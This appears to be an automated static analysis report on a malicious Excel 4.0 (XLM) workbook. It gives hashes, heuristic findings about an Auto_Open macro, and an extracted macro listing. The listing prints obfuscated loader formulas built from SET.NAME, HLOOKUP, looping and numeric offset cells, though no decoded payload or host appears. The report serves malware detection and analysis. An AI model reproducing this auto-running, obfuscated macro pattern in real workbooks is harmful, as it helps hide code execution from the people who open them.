Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6502ab0d3a0376d4…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:44:19 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: a6214a13d9f12d2cef6ab5616cb81592 SHA-1: c278e0a6071e534d4d53dba172488acee0cb5262 SHA-256: 6502ab0d3a0376d41cd904b06cb7ce5d274e1e90fcf8c94847fa4bd9063f8512
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6685 bytes
SHA-256: 065221924f749dee5fefc3d4b05bc67f6ea73b0241983864db5b7c527390b3b1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  logscz
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B146 
' 0018     20 LABEL : Cell Value, String Constant - bETlj len=0 
' 0018     25 LABEL : Cell Value, String Constant - cETnMIjiml len=0 
' 0018     23 LABEL : Cell Value, String Constant - ctJNexCf len=0 
' 0018     25 LABEL : Cell Value, String Constant - cuGhxErcnW len=0 
' 0018     22 LABEL : Cell Value, String Constant - eBTYsEu len=0 
' 0018     24 LABEL : Cell Value, String Constant - FXbEOoZOZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - glpZrsYuMxm len=0 
' 0018     27 LABEL : Cell Value, String Constant - hmZdGrNHnVKM len=0 
' 0018     24 LABEL : Cell Value, String Constant - HPomBCQZk len=0 
' 0018     22 LABEL : Cell Value, String Constant - iqDGPsJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - khYwOHqT len=0 
' 0018     21 LABEL : Cell Value, String Constant - nRORCy len=0 
' 0018     25 LABEL : Cell Value, String Constant - nUfvrcwDGH len=0 
' 0018     21 LABEL : Cell Value, String Constant - PphsZG len=0 
' 0018     25 LABEL : Cell Value, String Constant - RNViJffKaN len=0 
' 0018     26 LABEL : Cell Value, String Constant - sdmSgNNEWMc len=0 
' 0018     21 LABEL : Cell Value, String Constant - xwhZrh len=0 
' 0018     23 LABEL : Cell Value, String Constant - XYVnobpZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - zSEuqBjDCwp len=0 
' 0018     26 LABEL : Cell Value, String Constant - zVpGgqnWMyS len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  logscz,B47,"SET.NAME("hmZdGrNHnVKM",0+VALUE("0"))",""
'  logscz,B51,"SET.NAME("eBTYsEu",hmZdGrNHnVKM)",""
'  logscz,B53,"SET.NAME("RNViJffKaN",hmZdGrNHnVKM)",""
'  logscz,B55,"SET.NAME("sdmSgNNEWMc",COUNTA(XYVnobpZ))",""
'  logscz,B59,"SET.NAME("cuGhxErcnW",COUNTA(nUfvrcwDGH))",""
'  logscz,B64,[],""
'  logscz,B69,"SET.NAME("xwhZrh","")",""
'  logscz,B72,"eBTYsEu",""
'  logscz,B74,"SET.NAME("PphsZG",HLOOKUP("*",XYVnobpZ,eBTYsEu,FALSE))",""
'  logscz,B79,"cETnMIjiml",""
'  logscz,B82,"SET.NAME("ctJNexCf",hmZdGrNHnVKM)",""
'  logscz,B85,[],""
'  logscz,B90,"ctJNexCf",""
'  logscz,B95,"glpZrsYuMxm",""
'  logscz,B97,"zSEuqBjDCwp",""
'  logscz,S99,"",-149.00000000000000000000
'  logscz,B100,"nRORCy",""
'  logscz,S100,"",143.00000000000000000000
'  logscz,S101,"",388.00000000000000000000
'  logscz,S102,"",-95.00000000000000000000
'  logscz,S103,"",-867.00000000000000000000
'  logscz,S104,"",345.00000000000000000000
'  logscz,B105,"SET.NAME("zVpGgqnWMyS",VALUE(HLOOKUP("*",nUfvrcwDGH,nRORCy,FALSE)))",""
'  logscz,B108,"iqDGPsJ",""
'  logscz,B112,"xwhZrh",""
'  logscz,B116,"RNViJffKaN",""
'  logscz,B119,NEXT(),""
'  logscz,B124,"bETlj",""
'  logscz,B129,[],""
'  logscz,B134,"FXbEOoZOZ",""
'  logscz,B139,NEXT(),""
'  logscz,B142,RETURN(),""
'  logscz,B166,"SET.NAME("HPomBCQZk",B47)",""
'  logscz,B169,"XYVnobpZ",""
'  logscz,B172,"SET.NAME("nUfvrcwDGH",R87C11)",""
'  logscz,B175,"SET.NAME("FXbEOoZOZ",180)",""
'  logscz,B177,"SET.NAME("khYwOHqT",2)",""
'  logscz,B179,HPomBCQZk(),""
'  logscz,B180,HALT(),""

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